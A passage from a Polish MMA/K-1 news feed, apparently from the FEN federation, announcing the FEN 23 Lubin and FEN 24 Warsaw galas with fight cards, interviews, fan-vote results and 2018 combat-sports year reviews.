* stawką tych pojedynków będą pasy mistrzowskie federacji Fight Exclusive Night

Sprzedaż biletów na galę FEN 23 i FEN 24 jest możliwa na
Eventim.pl oraz na stronie organizacji: http://fen-mma.com/bilet/ – do końca 2018 roku na galę FEN 24 – 10% rabatu na wszystkie wejściówi.

[kod]

Arab kolejnym bohaterem gali FEN 24

Gabriel "Arab" Al-Sulwi (1-0, 1 KO) 16 marca w Warszawie stoczy swój drugi pojedynek. Zawodnik wraca do klatki federacji Fight Exclusive Night niespełna półtorej roku od swojego debiutu w mieszanych sztukach walki.

Arab przebojem wdarł się w świat zawodowego MMA wygrywając w swoim debiucie podczas gali FEN 19 z Bartłomiejem "Rubym" Brzezińskim. Al-Sulwi kontrolował przebieg tego pojedynku w pierwszej rundzie, w drugiej skończył starcie przed czasem. Arab od wielu lat związany jest ze sportami walki, gdyż trenuje brazylijskie jiu-jitsu.

"Pewnego dnia Gabriel zadzwonił do mnie i powiedział, że jest gotowy stoczyć swój kolejny pojedynek. Sporo czasu od momentu debiutu spędził na sali treningowej i ocenił, że dziś jest znacznie lepszym zawodnikiem, więc jest gotowy po raz kolejny wyjść do klatki. Mam już dogranego rywala dla Araba, będzie to medialne starcie. Raz na jakiś czas będziemy naszym fanom serwować takie zestawienia – powiedział Paweł Jóźwiak, prezes FEN.

Sprzedaż biletów na galę FEN 23 i FEN 24 jest możliwa na
Eventim.pl oraz na stronie organizacji: http://fen-mma.com/bilet/ – do końca 2018 roku na galę FEN 24 – 10% rabatu na wszystkie wejściówi.

[kod]

Kaleta z Zamysłowskim zamykają kartę walk gali FEN 23

Łukasza Kaletę (0-0) 12 stycznia czeka trudne zadanie, bowiem naprzeciwko niego w klatce stanie Tomasz Zmysłowski (5-3-2). Do starcia dojdzie podczas gali Fight Exclusive Night 23, która odbędzie się w Lubinie. Pojedynek na zasadach K-1 odbędzie się w limicie do 77 kilogramów.

Tomasz Zamysłowski to zaledwie 20-letni zawodnik z Warszawy, który już zdążył zaznaczyć swoją pozycję na europejskim rynku sportów walki. Trenujący w warszawskim klubie Garuda zawodnik ma na swoim koncie występy na galach organizacji King of Kings, która promuje K-1 na Starym Kontynencie. Zamysłowski jak dotąd na KOK zanotował jeden remis z Dariusem Mincheivichusem i jedną porażkę w walce z o wiele bardziej doświadczonym Kristapsem Bulmaistrasem. Aktualny zawodowy rekord podopiecznego Dmitrija Kartela to 5-3-2.

Kaleta 12 stycznia w Lubinie dopiero zadebiutuje w zawodowym K-1. Młody fighter trenuje na co dzień w Bolesławcu pod okiem ojca Dominika Zadory, który podczas dolnośląskiej edycji walczył będzie z Łukaszem Pławeckim o pas mistrzowski w kategorii do 77 kilogramów. Kaleta reprezentuje klub Street Fighter.

Karta walk FEN 23: 

Walka wieczoru:

70 kg, MMA: Mateusz Rębecki VS Daguir Imavov*

Karta główna:

120 kg, MMA: Marcin Zontek VS Marcin Sianos
77 kg, K-1: Łukasz Pławecki VS Dominik Zadora*
77 kg, MMA: Tymoteusz Łopaczyk VS Szymon Dusza
77 kg, K-1: Wojciech Wierzbicki VS Pawel Obozny
67 kg, K-1: Eliasz Jankowski VS Hubert Dylewski
70 kg, MMA: Łukasz Charzewski VS Adam Brzezowski
70 kg, K-1: Łukasz Kaczmarczyk VS Robert Rajewski

Karta wstępna:

77 kg, MMA: Kamil Kraska VS Mateusz Janur
61 kg, K-1: Bartosz Hassa VS Mariusz Lach
77 kg, K-1: Łukasz Kaleta VS Tomasz Zamysłowski

* stawką tych pojedynków będą pasy mistrzowskie federacji Fight Exclusive Night

Sprzedaż biletów na galę FEN 23 i FEN 24 jest możliwa na
Eventim.pl oraz na stronie organizacji: http://fen-mma.com/bilet/ – do końca 2018 roku na galę FEN 24 – 10% rabatu na wszystkie wejściówki.

[kod]

Jóźwiak przed FEN 23: Lubin czeka na FEN, kibice są spragnieni grzmotów

12 stycznia w Lubinie odbędzie się gala Fight Exclusive Night 23. Paweł Jóźwiak, prezes federacji, już dziś nie może doczekać się tego wydarzenia, które od dawna jest wyczekiwane na Dolnym Śląsku. – Lubin czeka na nas, jestem przekonany, że damy kibicom to, czego oczekują – zapewnia sternik FEN.

FEN po raz czwarty zawita do Lubina. Co prezes myśli słysząc nazwę tego miasta?

Paweł Jóźwiak: Cieszę się, że znowu zawitamy do Lubina. Przed rokiem nie było nas w tym mieście, a gala sprzed dwóch lat była naprawdę świetnym widowiskiem, do którego z chęcią wracam podczas różnych rozmów o naszej federacji. Dziś mamy mistrza Mateusza Rębeckiego, który jest jednym z najlepszych zawodników w Polsce w kategorii lekkiej, a między innymi w Lubinie podczas gali FEN 15 "Chińczyk" zrobił duży krok w kierunku pasa, który dzisiaj dzierży. Kamil Gniadek zaraz może być mistrzem w dywizji półśredniej, a również bił się w Lubinie. Nie można powiedzieć, że 15. edycja po prostu była i pozostała bez echa. Marcin Zontek, Wojciech Wierzbicki czy Oskar Somerfeld to zawodnicy, którzy wtedy byli się u nas, dziś są, pewnie jeszcze długo będą w naszej federacji i wierzę w to, że 23. gala również spowoduje, iż będziemy często do niej wracać.

Karta walk gali FEN 23 wygląda inaczej niż zwykle. Propocje K-1 względem MMA po raz pierwszy są na korzyść formuły uderzanej.

PJ: Dolny Śląsk to zagłębie polskiego kickboksingu, stąd karta walk ułożona jest w taki, a nie inny sposób. Mam zwiedzonych wiele klubów w okolicach Wrocławia czy Lubina i wiem, że tam na K-1 jest naprawdę spory nacisk. Chcemy spróbować czegoś innego i dawać kibicom walki w formule, która jest najbliższa ich upodobaniom. To przekłada się na zainteresowanie galą i sprzedaż biletów.

Na trzy tygodnie przed galą zostało niewiele biletów.

PJ: Biletów jest z każdym dniem coraz mniej, bo zainteresowanie lokalnych kibiców jest naprawdę spore. Cieszę się, że przed świętami mogliśmy ogłosić galę FEN 24 będąc spokojnym o to, co będzie miało miejsce w Lubinie. Ze sportowego punktu widzenia 12 stycznia czeka nas naprawdę bardzo dużo dobrego. Dwie walki mistrzowskie, pojedynek w kategorii ciężkiej, marzący o powrocie na tron Wierzbicki czy młody Łopaczyk to gwarancja tego, że Lubin znowu będzie o nas długo pamiętał.

Czy czegoś w Lubinie zabraknie?

PJ: Wydaje mi się, że niczego, bo w Lubinie każdy znajdzie coś dla siebie. Bałem się na początku, że Daguir Imavov zostanie odebrany przez fanów jako łatwy rywal dla Rębeckiego przez to, że nie ma głośnego nazwiska. Trafiliśmy jednak w gusta wszystkich, a to świadczy o tym, że kibice w Polsce naprawdę rozumieją MMA i doceniają poziom prawdziwych zawodników. Daguir to kozak, pokonał dwóch naszych zawodników, teraz idzie kategorię wyżej i na pewno będzie mocnym rywalem dla Rębeckiego, dla którego w Polsce obecnie nie widzę przeciwników.

Pławecki będzie bronił pasa…

PJ: Każda walka Łukasza to pewne emocje i najwyższy światowy poziom. Pławecki się nie zatrzymuje, zawsze pokazuje ogień w klatce od pierwszego do ostatniego gongu. Ja myślę, że to może być K-1, jakiego jeszcze u nas nie widzieliśmy. Gdy rozmawiałem kilkukrotnie z Łukaszem to odnosiłem wrażenie, że rozmawiam z modelowym typem sportowca. Profesjonalistą od A do Z. Wierzę w to, że wraz z Dominikiem Zadorą dadzą walkę, z której będę dumny.

Zadora na pewno mu jednak nie odpuści.

PJ: No i o to w tym wszystkim chodzi. Dominik jest dojrzałym i ułożonym zawodnikiem, który wie, po co trenuje i co może dać mu zwycięstwo z Łukaszem Pławeckim. Wierzę w obu tych chłopaków, bo obaj są potrzebni do tego, żeby to była znakomita walka. Zawsze to powtarzam – niech wygra sport, bo tylko prawdziwy sport na najwyższym poziomie zawsze się obroni.

Sporo emocji może dostarczyć konfrontacja Tymoteusza Łopaczyka z Szymonem Duszą.

PJ: Osobiście uważam, że to może być najlepsza walka tego wieczoru. Przed oczami mam ich walki podczas gali FEN 21 we Wrocławiu, gdy głowiliśmy się z wraz z moim zespołem, komu przyznać bonus za najlepszą walkę wieczoru. Przyznaliśmy dwie nagrody, bo i Tymek i Szymon pokazali się z bardzo dobrej strony. Dusza minimalnie przegrał, ale każdy pamięta, że na kartach punktowych było ciasno i niewiele brakowało, żeby przechylił wynik potyczki na swoją korzyść. Łopaczyk to natomiast nasza perełka i nadzieja polskiego MMA. Nie żartuję – jestem w stałym kontakcie z jego trenerami – z tego chłopaka będziemy mieli wiele pożytku. Nie my, jako FEN, Polacy będą kiedyś z niego dumni.

Walka Zontka z Sianosem…

PJ: Odpowiem krótko. Będzie Zontkowo albo Sianosowi. Radzę nie mrugać.

Karta walk FEN 23: 

Walka wieczoru:

70 kg, MMA: Mateusz Rębecki VS Daguir Imavov*

Karta główna:

120 kg, MMA: Marcin Zontek VS Marcin Sianos
77 kg, K-1: Łukasz Pławecki VS Dominik Zadora*
77 kg, MMA: Tymoteusz Łopaczyk VS Szymon Dusza
77 kg, K-1: Wojciech Wierzbicki VS Pawel Obozny
67 kg, K-1: Eliasz Jankowski VS Hubert Dylewski
70 kg, MMA: Łukasz Charzewski VS Adam Brzezowski
70 kg, K-1: Łukasz Kaczmarczyk VS Robert Rajewski

Karta wstępna:

77 kg, MMA: Kamil Kraska VS Mateusz Janur
61 kg, K-1: Bartosz Hassa VS Mariusz Lach
77 kg, K-1: Łukasz Kaleta VS Tomasz Zamysłowski

* stawką tych pojedynków będą pasy mistrzowskie federacji Fight Exclusive Night

[kod]

Łopaczyk przed FEN 23: Szymon walczy widowiskowo, ja też – kibicom to się podoba

Tymoteusz Łopaczyk (4-0, 3 SUB)  podejmie w Lubinie nieobliczalnego Szymona Duszę (6-4, 4 KO, 1 SUB podczas gali FEN 23. Zawodnik pochodzący z Bielawy jest przekonany, że ten pojedynek będzie ozdobą całej dolnośląskiej edycji.

Zapraszamy do obejrzenia wywiadu z Tymoteuszem Łopaczykiem przed galą FEN 23.

Karta walk FEN 23: 

Walka wieczoru:

70 kg, MMA: Mateusz Rębecki VS Daguir Imavov*

Karta główna:

120 kg, MMA: Marcin Zontek VS Marcin Sianos
77 kg, K-1: Łukasz Pławecki VS Dominik Zadora*
77 kg, MMA: Tymoteusz Łopaczyk VS Szymon Dusza
77 kg, K-1: Wojciech Wierzbicki VS Pawel Obozny
67 kg, K-1: Eliasz Jankowski VS Hubert Dylewski
70 kg, MMA: Łukasz Charzewski VS Adam Brzezowski
70 kg, K-1: Łukasz Kaczmarczyk VS Robert Rajewski

Karta wstępna:

77 kg, MMA: Kamil Kraska VS Mateusz Janur
61 kg, K-1: Bartosz Hassa VS Mariusz Lach
77 kg, K-1: Łukasz Kaleta VS Tomasz Zamysłowski

* stawką tych pojedynków będą pasy mistrzowskie federacji Fight Exclusive Night

Sprzedaż biletów na galę FEN 23 i FEN 24 jest możliwa na
Eventim.pl oraz na stronie organizacji: http://fen-mma.com/bilet/ – do końca 2018 roku na galę FEN 24 – 10% rabatu na wszystkie wejściówki.

Dołącz do wydarzenia na portalu Facebook: https://www.facebook.com/events/311910869605165/

FEN Social Media:
Facebook: facebook.com/fightexclusivenight/
Twitter: twitter.com/fenmma
Instagram: instagram.com/fightexclusivenight/

Dusza przed FEN 23: Dam z siebie wszystko, w tej walce będzie dużo emocji

Szymon Dusza (6-4, 4 KO, 1 SUB) podczas gali FEN 23 w Lubinie zmierzy się z Tymoteuszem Łopaczykiem (4-0, 3 SUB). Zawodnik zapowiada, że w tej walce będzie działo się naprawdę dużo, tym bardziej, że chce pokazać, iż ostatnia porażka z Oskarem Somerfeldem była tylko wypadkiem przy pracy.

Zapraszamy do obejrzenia wywiadu z Szymonem Duszą przed galą FEN 23.

Karta walk FEN 23: 

Walka wieczoru:

70 kg, MMA: Mateusz Rębecki VS Daguir Imavov*

Karta główna:

120 kg, MMA: Marcin Zontek VS Marcin Sianos
77 kg, K-1: Łukasz Pławecki VS Dominik Zadora*
77 kg, MMA: Tymoteusz Łopaczyk VS Szymon Dusza
77 kg, K-1: Wojciech Wierzbicki VS Pawel Obozny
67 kg, K-1: Eliasz Jankowski VS Hubert Dylewski
70 kg, MMA: Łukasz Charzewski VS Adam Brzezowski
70 kg, K-1: Łukasz Kaczmarczyk VS Robert Rajewski

Karta wstępna:

77 kg, MMA: Kamil Kraska VS Mateusz Janur
61 kg, K-1: Bartosz Hassa VS Mariusz Lach
77 kg, K-1: Łukasz Kaleta VS Tomasz Zamysłowski

* stawką tych pojedynków będą pasy mistrzowskie federacji Fight Exclusive Night

[kod]

FEN 23 Trailer: Łopaczyk VS Dusza

Szymon Dusza (6-4, 4 KO, 1 SUB) spróbuje zatrzymać niepokonanego na zawodowstwie Tymoteusza Łopaczyka (4-0, 3 SUB) podczas gali Fight Exclusive Night 23, która 12 stycznia odbędzie się w Lubinie.

Zapraszamy do obejrzenia traileru wideo zapowiadającego pojedynek Tymoteusza Łopaczyka z Szymonem Duszą.

Karta walk FEN 23: 

Walka wieczoru:

70 kg, MMA: Mateusz Rębecki VS Daguir Imavov*

Karta główna:

120 kg, MMA: Marcin Zontek VS Marcin Sianos
77 kg, K-1: Łukasz Pławecki VS Dominik Zadora*
77 kg, MMA: Tymoteusz Łopaczyk VS Szymon Dusza
77 kg, K-1: Wojciech Wierzbicki VS Pawel Obozny
67 kg, K-1: Eliasz Jankowski VS Hubert Dylewski
70 kg, MMA: Łukasz Charzewski VS Adam Brzezowski
70 kg, K-1: Łukasz Kaczmarczyk VS Robert Rajewski

Karta wstępna:

77 kg, MMA: Kamil Kraska VS Mateusz Janur
61 kg, K-1: Bartosz Hassa VS Mariusz Lach
77 kg, K-1: Łukasz Kaleta VS Tomasz Zamysłowski

* stawką tych pojedynków będą pasy mistrzowskie federacji Fight Exclusive Night

[kod]

Wywiad z Marcinem Zontkiem i trailer walki Zontek vs Sianos

Podczas Fight Exclusive Night 23 kibice zobaczą pojedynek w kategorii ciężkiej Marcina Zontka (17-11, 9 KO, 5 SUB) z Marcinem Sianosem (3-3, 3 KO). Będzie to debiut „Zontiego” w królewskiej dywizji.

Zapraszamy do obejrzenia traileru wideo zapowiadającego pojedynek Marcina Zontka z Marcinem Sianosem.

Karta walk FEN 23: 

Walka wieczoru:

70 kg, MMA: Mateusz Rębecki VS Daguir Imavov*

Karta główna:

120 kg, MMA: Marcin Zontek VS Marcin Sianos
77 kg, K-1: Łukasz Pławecki VS Dominik Zadora*
77 kg, MMA: Tymoteusz Łopaczyk VS Szymon Dusza
77 kg, K-1: Wojciech Wierzbicki VS Pawel Obozny
67 kg, K-1: Eliasz Jankowski VS Hubert Dylewski
70 kg, MMA: Łukasz Charzewski VS Adam Brzezowski
70 kg, K-1: Łukasz Kaczmarczyk VS Robert Rajewski

Karta wstępna:

77 kg, MMA: Kamil Kraska VS Mateusz Janur
61 kg, K-1: Bartosz Hassa VS Mariusz Lach
77 kg, K-1: Łukasz Kaleta VS Tomasz Zamysłowski

* stawką tych pojedynków będą pasy mistrzowskie federacji Fight Exclusive Night

[kod]

FEN: Najlepsi w 2018 roku (wyniki głosowania)

Kibice federacji Fight Exclusive Night wzięli udział w głosowaniu na oficjalnym profilu na Facebooku federacji. Fani wybierali tych, którzy w ciągu ostatnich 12 miesięcy pokazali się z najlepszej strony.

Głosowanie odbyło się w czterech kategoriach. Wybrano najlepszy nokaut, poddanie, najlepszą walkę 2018 roku oraz bohatera, który zrobił największe wrażenie na głosujących. Wyniki rywalizacji przedstawiają się następująco:

Nokaut:

  1. Kamil Gniadek – 57 pkt.
  2. Mateusz Rębecki – 53 pkt.
  3. Andrzej Grzebyk – 9 pkt.

Poddanie:

  1. Bartosz Leśko – 170 pkt.
  2. Tymoteusz Łopaczyk – 84 pkt.
  3. Krzysztof Kułak – 11 pkt.

Walka:

  1. Tymoteusz Łopaczyk vs Jacek Jędraszczyk – 66 pkt.
  2. Arkadiusz Wrzosek vs Artur Bizewski – 21 pkt.
  3. Szymon Dusza vs Oskar Somerfeld – 1 pkt.

Bohater:

  1. Łukasz Pławecki – 80 pkt.
  2. Mateusz Rębecki – 15 pkt.
  3. Andrzej Grzebyk – 10 pkt.

Karta walk FEN 23: 

Walka wieczoru:

70 kg, MMA: Mateusz Rębecki VS Daguir Imavov*

Karta główna:

120 kg, MMA: Marcin Zontek VS Marcin Sianos
77 kg, K-1: Łukasz Pławecki VS Dominik Zadora*
77 kg, MMA: Tymoteusz Łopaczyk VS Szymon Dusza
77 kg, K-1: Wojciech Wierzbicki VS Pawel Obozny
67 kg, K-1: Eliasz Jankowski VS Hubert Dylewski
70 kg, MMA: Łukasz Charzewski VS Adam Brzezowski
70 kg, K-1: Łukasz Kaczmarczyk VS Robert Rajewski

Karta wstępna:

77 kg, MMA: Kamil Kraska VS Mateusz Janur
61 kg, K-1: Bartosz Hassa VS Mariusz Lach
77 kg, K-1: Łukasz Kaleta VS Tomasz Zamysłowski

* stawką tych pojedynków będą pasy mistrzowskie federacji Fight Exclusive Night

[kod]

WALKA

PODDANIE

NOKAUT

BOHATER

FEN 23: Trening medialny przed galą

W poniedziałek, 7 stycznia, o godzinie 12:00 w klubie „Hulakula – Rozrywkowe Centrum Miasta” odbędzie się trening medialny przed galą Fight Exclusive Night 23. W wydarzeniu udział wezmą czołowi zawodnicy, którzy wystąpią w dolnośląskiej edycji.

Podczas treningu medialnego kibicom zademonstrują się:

  • Mateusz Rębecki
  • Łukasz Pławecki
  • Dominik Zadora
  • Tymoteusz Łopaczyk
  • Robert Rajewski
  • Szymon Dusza

Dodatkowo do dyspozycji dziennikarzy oraz kibiców podczas treningu medialnego będą bohaterowie gali FEN 24, która 16 marca odbędzie się w Warszawie – Arkadiusz Wrzosek, Kamil Gniadek i Kamil Łebkowski.

Informacje o treningu medialnym przed galą FEN 23:

Kiedy: 7 stycznia, godzina 12:00.

Gdzie: „Hulakula – Rozrywkowe Centrum Miasta” – ul. Jagiellońska 82B, 03-301 Warszawa

Kto wystąpi: 9 zawodników, którzy wystąpią podczas gali FEN 23 w Lubinie i FEN 24 w Warszawie.

Karta walk FEN 23: 

Walka wieczoru:

70 kg, MMA: Mateusz Rębecki VS Daguir Imavov*

Karta główna:

120 kg, MMA: Marcin Zontek VS Marcin Sianos
77 kg, K-1: Łukasz Pławecki VS Dominik Zadora*
77 kg, MMA: Tymoteusz Łopaczyk VS Szymon Dusza
77 kg, K-1: Wojciech Wierzbicki VS Pawel Obozny
67 kg, K-1: Eliasz Jankowski VS Hubert Dylewski
70 kg, MMA: Łukasz Charzewski VS Adam Brzezowski
70 kg, K-1: Łukasz Kaczmarczyk VS Robert Rajewski

Karta wstępna:

77 kg, MMA: Kamil Kraska VS Mateusz Janur
61 kg, K-1: Bartosz Hassa VS Mariusz Lach
77 kg, K-1: Łukasz Kaleta VS Tomasz Zamysłowski

* stawką tych pojedynków będą pasy mistrzowskie federacji Fight Exclusive Night

[kod]

Pławecki przed FEN 23: Po prostu staniemy na środku klatki i pójdziemy na wymianę

Obecny mistrz K-1 w kategorii do 77 kg Łukasz Pławecki (22-14-1) opowiada o swojej poprzedniej walce, przygotowaniach do pierwszej obrony pasa FEN i o możliwym przebiegu walki z Dominikiem Zadorą (21-7).

Zapraszamy do obejrzenia wywiadu z Łukaszem Pławeckim przed galą FEN 23.

Karta walk FEN 23: 

Walka wieczoru:

70 kg, MMA: Mateusz Rębecki VS Daguir Imavov*

Karta główna:

120 kg, MMA: Marcin Zontek VS Marcin Sianos
77 kg, K-1: Łukasz Pławecki VS Dominik Zadora*
77 kg, MMA: Tymoteusz Łopaczyk VS Szymon Dusza
77 kg, K-1: Wojciech Wierzbicki VS Pawel Obozny
67 kg, K-1: Eliasz Jankowski VS Hubert Dylewski
70 kg, MMA: Łukasz Charzewski VS Adam Brzezowski
70 kg, K-1: Łukasz Kaczmarczyk VS Robert Rajewski

Karta wstępna:

77 kg, MMA: Kamil Kraska VS Mateusz Janur
61 kg, K-1: Bartosz Hassa VS Mariusz Lach
77 kg, K-1: Łukasz Kaleta VS Tomasz Zamysłowski

* stawką tych pojedynków będą pasy mistrzowskie federacji Fight Exclusive Night

[kod]

Zadora przed FEN 23: Moje starcie z Pławeckim będzie walką roku 2019

Dominik Zadora (21-7) w krótkim wywiadzie przed FEN 23 opowiada o swojej szansie, przygotowaniach przed galą i zapowiada, że jego walka z Łukaszem Pławeckim (22-14-1) będzie świetnym starciem.

Zapraszamy do obejrzenia wywiadu z Dominikiem Zadorą przed galą FEN 23.

Karta walk FEN 23: 

Walka wieczoru:

70 kg, MMA: Mateusz Rębecki VS Daguir Imavov*

Karta główna:

120 kg, MMA: Marcin Zontek VS Marcin Sianos
77 kg, K-1: Łukasz Pławecki VS Dominik Zadora*
77 kg, MMA: Tymoteusz Łopaczyk VS Szymon Dusza
77 kg, K-1: Wojciech Wierzbicki VS Pawel Obozny
67 kg, K-1: Eliasz Jankowski VS Hubert Dylewski
70 kg, MMA: Łukasz Charzewski VS Adam Brzezowski
70 kg, K-1: Łukasz Kaczmarczyk VS Robert Rajewski

Karta wstępna:

77 kg, MMA: Kamil Kraska VS Mateusz Janur
61 kg, K-1: Bartosz Hassa VS Mariusz Lach
77 kg, K-1: Łukasz Kaleta VS Tomasz Zamysłowski

* stawką tych pojedynków będą pasy mistrzowskie federacji Fight Exclusive Night

[kod]

Kolejny rok z medalami

Stało się niemalże tradycją, że polski kickboxing święci triumfy praktycznie na każdym froncie. Jaki były 2018 rok w wykonaniu naszych reprezentantów?

Nie da się ukryć, że w kończącym się roku najważniejszym, a wypada powiedzieć – kluczowym wydarzeniem w rozwoju dyscypliny było przyjęcie organizacji WAKO Kickboxing w poczet członków Międzynarodowego Komitetu Olimpijskiego, co miało miejsce 30 listopada. Teraz całe środowisko czeka na kolejny krok. Ma nim być włączeniem do programu Igrzysk Olimpijskich. W tym przypadku konieczna jest cierpliwość, ale wydaje się, że jest "bliżej niż dalej".

Kickboxing będzie również obecny w programie The World Games 2021, które odbędą się w Birmingham. Warto wspomnieć, że w 2017 roku impreza odbyła się we Wrocławiu. Wtedy reprezentacja Polski w kickboxingu wygrała w klasyfikacji medalowej.

16 medali przywieźli Polacy z mistrzostw Europy w Mariborze. Rywalizacja odbywała się w formułach full contact, light contact i pointfighting. Ze złotych medali cieszyli się: Robert Krasoń (81kg, fc) oraz Rafał Gąszczak (+94kg, lc). Z kolei w Bratysławie zawodnicy rywalizowali o prymat na Starym Kontynencie w formułach K-1, kick light oraz low kick. Licznik biało-czerwonych zatrzymał się na… 16 medalach. Z tą różnicą, że w Bratysławie na najwyższym stopniu podium stanęło pięcioro Polaków. Złote medale wywalczyli: Karolina Kubiak (48kg, lk), Kamila Bałanda (70kg, K-1), Łukasz Puczyński (79kg, kl), Piotr Wypchał (89kg, kl) oraz Michał Grzesiak (94kg, kl).

Również w Lido de Jesolo biało-czerwoni potwierdzili przynależność do światowej czołówki. W mistrzostwach świata kadetów i juniorów nasi zawodnicy zdobyli 51 medali, w tym 3 złote.

Swoją pozycję na rynku umocniła organizacja DSF Kickboxing Challenge. W 2018 roku na pokładzie zameldowali się m.in. Iwona Nieroda, Tomasz Sarara, Maciej Jewtuszko, Michał Kita. W sierpniu federacja DSF wykonała kolejny ważny krok i wykupiła kobiecą organizację Ladies Fight Night. Grudniowa gala w Ząbkach wyłoniła nowego mistrza wagi ciężkiej. Podczas DSF 18 Tomasz Sarara w trzeciej rundzie znokautował Piotra Romankiewicza. Od 2019 roku prezesem organizacji będzie Marek Tkaczyński, zaraz dotychczasowy sternik Sławomir Duba będzie pełnił rolę promotora. 

KM

Rok w judo i zapasach

Podsumowanie osiągnięć reprezentantów Polski w judo i zapasach w 2018 roku.

Judo

Biało-czerwonym nie udało się sięgnąć po medale mistrzostw świata i Europy. W Baku o krok od podium był Damian Szwarnowiecki (81kg), który uplasował się na piątej lokacie. Z kolei w mistrzostwach Europy w Tel Awiwie siódmy był Maciej Sarnacki (+100kg). Polacy sukcesy odnosili w młodszych kategoriach wiekowych. Młodzieżową mistrzynią Europy została Julia Kowalczyk (57kg), a brąz zdobył Oleksiy Lysenko (100kg). Z Nassau, gdzie odbyły się mistrzostwa świata juniorów brązowe krążki przywieźli Aleksandra Kaleta (52kg) i Iwo Baraniewski (100kg). W rywalizacji juniorów w Sofii (mistrzostwa Europy) srebro zdobyła Angelika Szymańska (63kg), a brąz Cezary Tchórzewski (73kg). Mistrzostwa Europy kadetów w Sarajewie na najniższym stopniu podium zakończył Wojciech Kordyalik (+90kg).

Trzykrotnie Polacy sięgali po srebro w zawodach rangi Pucharu Świata. Julia Kowalczyk triumfowała w Mińsku, Karolina Tałach w Odivelas, a Piotr Kuczera w Sofii. Ten ostatni zapisał na swoim koncie również brąz w Grand Prix w Tbilisi. W Grand Slam najlepiej wypadły Karolina Pieńkowska (52kg) oraz Beata Pacut (78kg), które zdobyły odpowiednio srebro w Dusseldorfie oraz brąz w Abu Dhabi. 

Warto dodać, że 3 marca w Warszawie odbyły się zawody Pucharu Świata. Polki wywalczyły siedem medali, w tym dwa złote autorstwa Karoliny Pieńkowskiej (52kg) oraz Arlety Podolak (57kg).

Zapasy

Mistrzostwa świata w Budapeszcie przyniosły nam brązowy medal, który zawisł na szyi Gevorga Sahakyana (67kg). W decydującym pojedynku reprezentant Polski wypunktował Danijela Janecica 7:0. Blisko podium była Katarzyna Krawczyk (53kg), która uplasowała się na piątym miejscu.

Cztery medale wywalczyli nasi zapaśnicy w mistrzostwach Europy w Kaspijsku. Wśród kobiet srebro zdobyła Roksana Zasina (55kg), a brąz Katarzyna Krawczyk (53kg). Wicemistrzem Europy w stylu wolnym został Magomedmurad Gadżijew (70kg), brąz wywalczył Robert Baran (125kg).

Po tytuł mistrza Europy młodzików sięgnął Oliver Skrzypczak (48kg). W Gyor wicemistrzynią młodziczek Starego Kontynentu została Nicole Wasilewska (58kg). Młodzieżowe mistrzostwo Europy wywalczył w Stambule Kamil Kościółek (125kg) w stylu wolnym. Brąz ME do lat 23 zdobył Roman Pacurkowski (67kg). Na najniższym stopniu podium w mistrzostwach świata kadetów uplasował się Tomasz Wawrzyńczyk (110kg, styl klasyczny).

Warto również wspomnieć, że w czerwcu 2019 roku w Krakowie odbędą się mistrzostwa Europy do lat 15. Impreza będzie rozgrywana po raz trzeci. Wcześniej rywalizacja odbywała się w Nowym Sadzie i Gyor.

Fot. Polski Związek Zapaśniczy Facebook

KM

Król Khabib, podwójni mistrzowie

W kończącym się 2018 roku w mieszanych sztukach walki nie brakowało wydarzeń, które przykuwały uwagę kibiców i odbijały się szerokim echem. Do miana jednego z największych wydarzeń urasta walka Khabiba Nurmagomedova z Conorem McGregorem. W Polsce zaskoczeniem było zakończenie kariery przez Mameda Khalidova.

6 października. W Las Vegas miało dojść do największego starcia w historii MMA. Posiadacz pasa wagi lekkiej Khabib Nurmagomedov odniósł 27 zwycięstwo w karierze i nadal pozostaje niepokonany. W czwartej rundzie 30-latek udusił Conora McGregora. Wokół starcia było wiele emocji, a w oktagonie miało miejsce ekscytujące wydarzenie. Khabib królem.

Podczas gali UFC 226 do historii przeszedł Daniel Cormier. W walce wieczoru "DC" w pierwszej rundzie zastopował Stipe Miocica. Cormier mocnym prawym powalił rywala, a potem ciosami w parterze zwieńczył walkę. Tym samym Amerykanin sięgnął po pas mistrzowski w kategorii ciężkiej. Jednocześnie "DC" posiada tytuł w wadze półciężkiej. Cormier został piątym zawodnikiem w historii, który zdobył dwa pasy mistrzowskie.

Nie udało się wrócić na szczyt. Joanna Jędrzejczyk przegrała rewanż z Rose Namajunas o tytuł w wadze słomkowej. W lipcu Polka wygrała z Tecią Torres, a w grudniu mierzyła się z Walentiną Szewczenko o pas w kategorii muszej. "JJ" przegrała jednak decyzją sędziów.

Do starcia dwóch legend doszło w kwietniu na gali Bellator 198. 42-letni Fedor Emelianenko, mający za sobą występy w Rizin, M-1, Strickeforce czy Pride, błyskawicznie uporał się z byłym czempionem UFC Frankiem Mirem. Rosjanin w 48 sekund rozprawił się z rywalem. W październiku w pierwszej rundzie wygrał z Chaelem Sonnenem.

Szok! Tak należy określić decyzję Mameda Khalidova po gali KSW 46 w Gliwicach. Po porażce w rewanżu z Tomaszem Narkunem, zawodnik urodzony w Groznym podjął decyzję o zakończeniu kariery. Khalidov był czołową postacią KSW, na swoim koncie zapisał tytuły w dwóch kategoriach – średniej i półciężkiej.

W Gliwicach do historii przeszedł Mateusz Gamrot. Po pięciu rundach 28-latek cieszył się ze zwycięstwa w rywalizacji z Kleberem Koike Erbstem oraz pasa w wadze piórkowej. Tym samym "Gamer" dołożył kolejną zdobycz do swojej kolekcji. Od 2016 roku znajduje się w posiadaniu tytułu w wadze lekkiej.

Coraz wyżej w rankingu wagi półciężkiej UFC znajduje się Jan Błachowicz. W 2018 roku urodzony w Cieszynie zawodnik wygrał dwie walki, a łącznie ma serię czterech zwycięstw z rzędu. Coraz poważniej mówi się, że Polak powoli może myśleć o starciu o pas. Jego najbliższy rywalem (luty 2019) będzie Brazylijczyk Thaigo Santos.

Fantastyczna postawa Karola Celińskiego w ACB. W 2018 roku "Cebula" pokonał Luke'a Barnatta i tym samym odniósł czwarte zwycięstwo z rzędu. 16 lutego 2019 roku Polak stanie przed szansą na wywalczenie pasa mistrzowskiego. Podczas gali ACA 92 w Warszawie Celiński zmierzy się z Dovletdzhanem Yagshimuradovem.

W minionym roku piąte urodziny obchodziła organizacja Fight Exlusive Night. Ostatnia gala – numer 22 odbyła się w październiku w Poznaniu. W walce wieczoru Damian Grabowski szybko uporał się z Josée Rodrigo Guelke. Już 12 stycznia w hali RCS w Lubinie gala FEN 23.

Fot. Khabib "the Eagle" Nurmagomedov Facebook

KM

 

Bokserski rok

Za kilka dni powitamy nowy rok. Ten kończący się obfitował w wiele ciekawych wydarzeń, a jego ostatnie godziny to czas podsumowań. Także w świecie sportów walki. Co ciekawego działo się w boksie?

